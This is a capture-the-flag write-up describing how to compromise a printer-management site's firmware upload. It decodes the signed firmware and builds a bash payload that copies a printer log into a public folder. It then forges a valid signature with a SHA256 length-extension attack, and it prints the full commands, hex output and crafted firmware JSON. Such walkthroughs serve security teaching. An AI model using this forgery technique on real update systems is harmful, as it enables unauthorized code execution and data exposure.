Printer Exploitation

The Challenge

Starting from a website used to manage printers, the goal it to get access to a log file and get data from it.

The website indued some inputs like the following one, where an attempt some injection but without success.

It also include this page, where the used can upload new firmware and download the exiting one.

It look more interesting than the simple text input, especially that the firmware that the user will upload is supposed to be executed. So let’s focus on this part. Let’s down lord the current firmware and have a look.

{"firmware":"UEsDBBQAAAAIAE...EsFBgAAAAABAAEAUgAAALAJAAAAAA==","signature":"2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97","secret_length":16,"algorithm":"SHA256"}

So it’s about a SHA256 encrypted binary with a signature and excised secret_length. According to “==” at the end of the firmware, we can also understand that is base64 encoded. Let’s apply a base64 decoding it and check the result. I did this used the following command.

echo "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","signature":"2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97" | base64 --decode > firmware_base_64_decoded

Our base46 decoded firmware is saved to the file firmware_base_64_decoded. Let’s check the type of this file.

It says that it’s a zip file. So to avoid confusion, we rename it to firmware_base_64_decoded.zip.

Let’s decompress it and check it’s content:

We now know that we need to add a payload that will get the data from /var/spool/printer.log. As the original data is a binary (firmware.bin) that is compressed to an archive, we will need to craft the payload in the same format.

We create script that will copy the content of /var/spool/printer.log to a file in /app/lib/public/incoming as we have access to this folder from the server as in the hint.

We start by creating a script we call firmware.bin (as in the original) data with the following content:

#!/bin/bash
cp /var/spool/printer.log /app/lib/public/incoming/printer_h.log

This file will then will be compressed to a zip we call payload.zip.

Our goal now is the append this payload to the original data using hash_extender. Once hash_extender is downloaded and compiled, we can launch the following command:

./hash_extender --data "$(xxd -ps firmware_base_64_decoded.zip)" --secret 16 --append "$(xxd -ps payload.zip)" --signature "2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97" --format sha256 --data-format hex --append-format hex

The xxd command is converting the content of the two zip files (original and payload) to hex. The parameters signature and secret comes from the original firmware.js file.

We get the following output when the above command is executed:

Type: sha256
Secret length: 16
New signature: 0aa493cf09aefeb15a75bd76065aeface531aa927ffc1d32baacd03adfba81f1
New string: 504b030414000000080045a5905316a0a8f06a090000e04000000c001c006669726d776172652e62696e5554090003a2a4bb61a2a4bb6175780b000104000000000400000000ed5b5f6c1c47199fbdf3d9e73a5e9fd384384ec09792480ee4ce97a4761d5a373edb67afd1c531a91dd45067b3f6ae7d47ef8f7bb747ec0022e0523815973e54a80fed0b79492590287d8107d4045b952a284a1e2a22419109a9e446a05e54885248bdccecceb7de99db6bca0bf0b09f74fbdbef9bef3733fbcdec7ad63bdfb712c9619f2020103f7a14116d3c64e9fdd47ee688ed826dbda8091f3f833e8deab15ee7f0e331e5633168b763f12e523b8fbb118b8203eb506d391360118536790187cee35b028b4e9ed95e98da394c092c3a792436eb114b5fef6351a2d739ee63793ecabb437977fa585c13588478d6d1df2aad8fc721c422c470fc5d5d25e77be9f5f0f8086211785fc2bc7af4c905c27d82b6572b2e6d3e1621ac5d99f474cf835d19359249e74a0b9185de9e48cf83d1623e7ac8ec5388fa8e8c4d9afe647e416849f9366a23e577cffea8f9adb7f7bc240cb584065f3b25567efb97eb1077183784be6d1ee11aaf6abfcb7edcf591ee875dec4df8b7d5c5de51c3fe788d7a5235ece4ba1f70eb108ed70c094f0f9a2fe94524cb330b8a3c9bce2999f4390daba45c2eea4a4197b34a3a874692a30383f2a1e8a168379247278ec9aa56d0e6d2455d2b4c1c1bcce473da84329d21ccb96c3e4799b2e5eaea48c447c7c087e32a98b18579506a4f3712fb41aac3f8c37c8eb55a58e1ec155a41673f6b07fdda510b612c41d61c76bfc3beeeb03b9f2b15873de0b0df71d89df3bf8db6df8036e79d279e78e289279e78e289279efcbf89b4f4d7a0f46ce09d2e7cfadd4bbacfb8222dad0657ec72a3fb3a2e32f6ddc0c7968e7e7c4674f23682de5b33b0ecfb39d6679f07ff837f1b2d5f3d2d95af4b4b372ae313c9e5c029bc0c97969b3f208d2df75d26756e9fc59cbfb7740c99a65748dbcb811f13387247df8ebbf328ed4ea3b1d6d2719ed4bb4211fb2f9afedd0502fb37a4cb1b7ea95c912eaf1f958437a4ab1bfa365cc1765a41d0589b35db01fef9be23b80895ba26a5a5bedb515263f95d7d8bf46c5f7b17792bc557b49ec2873702ad5817a656b8f6dffb3a2e9cc41c1cb850f99b77a572a982fbf44b1193d7360ce317c4e9cd15dce8d3663ce25f1e2dff3e7e72b47c3b3e192f7f14c711d9377f00a149693942f0b1e47e525570bd88c9d2e58ffcfaae837f68e940c9f23f93e5db43e5f7e3c6b63f4a4b2b8274e49dd24d32365f998a3f119f8a9f8ecbb84f6805c69019354f3cf1c4134f3cf1c4134f3cf1c4134f3c6145403e349c2e64cf2a052d9c2e86674b99cc62b8341fd6f36155d1b53dc46797ffe15e647defbafbbe619037dbdd15c3f809c603182730b6de328c558c8f60bc81f1258c0704ebbbabd9ceb91348580809bbb634049f171a42c44ebeed5fc1f57dded11f777f84f652ff79ec1f260e6268586cfb624bd3d9e07974b4fde1cf1ddefb00f0c937ee14f60b3aea25dc27f02f81fb6b3ac6c5d033bec1e6fa29dc00e57c03ffc671f914291f10433ff425c4b6e7fc0931bc5c97103b7f1090c4d833f592d8bbd43022f67f55ec8d8bb1b8d839208607c436ec3f2006cdef9b240e295c8ff3fba3279e78e289279e78e289279e78e2c97f4becfd948efdc94edc028eb4bc99aaab94b793eab04f7317d5e11dab9d22ecd7dccd95ff63c3c89b3add7c097b2aaf511df652c6a87e1fd5bf43b189621bc5ed88157b4f67bf05b00713fce1bdb281e20e8a5280b57fbf8eedf7258a8d5c7dff32aceb01d70daaa728dfa03ac4b742f553b4fc43aa3bf7a2fe2f04f695f3d2136275d85f3b3238f88570e790369d5672e1dee8e1682cd2b3df3ab9675b7e1c8d8b2e9b63fd78b4565ded7e74c3d55e67cf23d61eb0e70f6bafb7e7196b6fb0c783b507ed7164ed8df6fc60edf7d9f388b5376d6e7866ec5b50d8d5de8cfa5deda29d8fc1da5becfb93b5875c378bfb51abbdaf9fb56f45675cedf7dbf73b6bdf66dfe7ac7dbbeb7cf2a34fd9fbb259fb8ecd4411c6de86c2aef69d28e66a6fafb259791bb70cde4e9e733e1ccff35c3c456aff1967df43ed15cefe90d9c6667fe03e1f36cfabe393a5f5c4b8f15a34fdabe3fc628dfed7baae0b66d956a4eee14bdcfd5f358ff757f5f3d7663dd5e3f81beacff7f34fe6b17a5edd32eba91edf9f0a240ed5f7458340f221447489c607e2b94370cf7bc89af6ea79725870cfab4808a4c9b6aaf9d34afc7dd5f751b2463d4fd27af876176af4f37bd8deea6bb39f9f202f10bbe33e85c7ca051a8733b43f53d4fe2b44dadd897ab97a9ea2fef07c80ffa5be2658fefcf5be4efdbb69fd903bb24afbc9fb5fa9715d37851a79273305bda8976667a33368338344d6b3f20c490d2189286a5e9ecbe4a7958caceaf94251564a0b68269f9dcf68baa6461f3a7ca8dbdd8964afa465a5505016652da71716d16c41c96ab25aca661731c5a1c9d853675de9ffb871b76479f844fc58424e8c0d910416d65745f2d0e363f163a3836c8999ef824d2363937242a235484327903c923c3e104fcac787871f4b4cc813f181644286fc9a9962c9ecf5c766d490fc9cfe7e26ff4653155da94ed2e1bc64e265f78c4dcb91d5625e4e293995a4ec8c1ec7056a3a27978a9aeaec1bb940ac4f178bb41a3315489671ff203c35f37bd88c22b66b285a5ccceaca3446bd60610aced2395cd33c8ae6f2ba168d0f8c4674658e6a73b95274ba94cea891b48a4c2da5145328aa2ee6707d16ea05abe46b5aa198cee71845c665052da310477a369fd14993f832c969742e8f4f746d011fcd718916f266a8a35a8ace9f945ad8d42caa35052c069ce316946c7a06911aad46ac7a70285114cfe62c9e766eb7c77f2a649d4d9e85b00caa952709c27f73f82c627392f8bcc030e7cf2f6f0e727c588f01eebd079f7c57b98dd7bac087751b20f061f9e4fc6643640c596b7fe0c3fa0ef022b543be17f0619d7e12b1b980b00e0484f70b103e7ea791b596073eac170145aeff3e0e9f44d6bb01e8b0ae040cd7e83fc83964c514f8b0fe04bcc4b5cf5fffd3943f407558a702821f5177b8f09f43ce9c485495370bef5120fcf897393eac7b6de4fcf9f4dc17383eac8f01f97805397c99e3c3df49c0a7b801e797d917383eac13001b397ffefa5f41ecfdcbe70ff37f4379feab1cbf567e6e2dfeeb1c1fd6f98041eefaf978be89ac390eaf4f76be6ec4dd9f8fffdbf8d7e2e0c37ab3f209f97f466ccea69d0f4df990075dcff1601cc93a5a70f0e13de45a97859df768ff26c7b7d7b3f475377c0ffe071c1fd68de118db4f9e0ff221b5011fd667b198bb3ffffcdaa036feed1cf8b5fe7e38d12d9f751c2aacdfac2782aa9f1f8d8ebe33fc1e4ae72ae7fbdf5a837fb2d7c2068ec0f3ff0d504b01021e0314000000080045a5905316a0a8f06a090000e04000000c0018000000000000000000ed81000000006669726d776172652e62696e5554050003a2a4bb6175780b000104000000000400000000504b0506000000000100010052000000b00900000000800000000000000000000000000000000000000000005140504b030414000000080002a22954df3a1876430000004d0000000c001c006669726d776172652e62696e55540900038342db618942db6175780b00010476203d000476203d0035ca310e80300805d0bda7a871f71fc940635a120442d5f31b07dffcd6052c06a6394a8b8a871233dc159162d7919b7aafa008a830e2669506b1e6a758ffd33ebe565e504b01021e0314000000080002a22954df3a1876430000004d0000000c0018000000000001000000f481000000006669726d776172652e62696e55540500038342db6175780b00010476203d000476203d00504b0506000000000100010052000000890000000000

We now have a new signature and new data. The returned data is in hex format. So we will need to convert back to zip. After saving it the the file hex_appended.hex., we launch the command:

xxd -r -p hex_appended.hex zip_appended.zip

The next step step is to convert it to base64 as the following:

$ cat zip_appended.zip | base64
UEsDBBQAAAAIAEWlkFMWoKjwagkAAOBAAAAMABwAZmlybXdhcmUuYmluVVQJAAOipLthoqS7YXV4
CwABBAAAAAAEAAAAAO1bX2wcRxmfvfPZ5zpen9OEOE7Al5JIDuTOl6R2HVo3Pttnr9HFMakd1FBn
s/aufUfvj3u3R+wAIuBSOBWXPlSoD+0LeUklkCh9gQfUBFuVKihKHioiQZEJqeRGoF5UiFJIvczs
zrfemdtrygvwsJ90+9vvm+83M/vN7HrWO9+3EslhnyAgED96FBFtPGTp/dR+5ojtgm29qAkfP4M+
jeqxXufw4zHlYzFot2PxLlI7j7sRi4ID61BtORNgEYU2eQGHzuNbAotOntlemNo5TAksOnkkNusR
S1/vY1Gi1znuY3k+yrtDeXf6WFwTWIR41tHfKq2PxyHEIsRw/F1dJed76fXw+AhiEXhfwrx69MkF
wn2CtlcrLm0+FiGsXZn0dM+DXRk1kknnSguRhd6eSM+D0WI+esjsU4j6joxNmv5kfkFoSfk2aiPl
d8/+qPmtt/e8JAy1hAZfOyVWfvuX6xB3GDeEvm0e4Rqvar/Lftz1ke6HXexN+LfVxd5Rw/54jXpS
Nezkuh9w6xCO1wwJTw+aL+lFJMszC4o8m84pmfQ5DaukXC7qSkGXs0o6h0aSowOD8qHooWg3kkcn
jsmqVtDm0kVdK0wcG8zkc9qEMp0hzLlsPkeZsuXq6kjER8fAh+MqmLGFeVBqTzcS+0Gqw/jDfI61
Wljh7BVaQWc/awf92lELYSxB1hx2v8O+7rA7nysVhz3gsN9x2J3zv42234A2550nnnjiiSeeeOKJ
J578v4m09Neg9GzgnS58+t1Lus+4Ii2tBlfscqP7Oi4y9t3Ax5aOfnxGdPI2gt5bM7Ds+znWZ58H
/4N/Gy1fPS2Vr0tLNyrjE8nlwCm8DJeWmz8gjS33XSZ1bp/FnL+3dAyZpldI28uBHxM4ckffjrvz
KO1Oo7HW0nGe1LtCEfsvmv7dBQL7N6TLG36pXJEurx+VhDekqxv6NlzBdlpB0FibNdsB/vm+I7gI
lbompaW+21FSY/ldfYv0bF97F3krxVe0nsKHNwKtWBemVrj23/s6LpzEHBy4UPmbd6VyqYL79EsR
k9c2DOMXxOnNFdzo02Y84l8eLf8+fnK0fDs+GS9/FMcR2Td/AKFJaTlC8LHkflJVcL2IydLlj/z6
roN/aOlAyfI/k+XbQ+X348a2P0pLK4J05J3STTI2X5mKPxGfip+Oy7hPaAXGkBk1TzzxxBNPPPHE
E0888cQTTzxhRUA+NJwuZM8qBS2cLoZnS5nMYrg0H9bzYVXRtT3EZ5f/4V5kfe+6+75hkDfb3RXD
+AnGAxgnMLbeMoxVjI9gvIHxJYwHBOu7q9nOuRNIWAgJu7Y0BJ8XGkLETr7tX8H1fd7RH3d/hPZS
/3nsHyYOYmhYbPtiS9PZ4Hl0tP3hzx3e+wDwyTfuFPYLOuol3CfwL4H7azrGxdAzvsHm+incAOV8
A//GcfkUKR8QQz/0JcS25/wJMbxclxA7fxCQxNgz9ZLYu9QwIvZ/VeyNi7G42DkghgfENuw/IAbN
75skDilcj/P7oyeeeOKJJ5544oknnnjiyX9L7P2Ujv3JTtwCjrS8maqrlLeT6rBPcxfV4R2rnSLs
19zNlf9jw8ibOt18CXsqr1Ed9lLGqH4f1b9DsYliG8XtiBV7T2e/BbAHE/zhvbKB4g6KUoC1f7+O
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cm13YXJlLmJpblVUBQADg0LbYXV4CwABBHYgPQAEdiA9AFBLBQYAAAAAAQABAFIAAACJAAAAAAA=

So are new ready to created a new json with the new values for data and signature. Our final firmware.json file should look as the following

{"firmware":"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","signature":"0aa493cf09aefeb15a75bd76065aeface531aa927ffc1d32baacd03adfba81f1","secret_length":16,"algorithm":"SHA256"}

After uploading this new crafted firmware, and clicking on Update. we get the following result: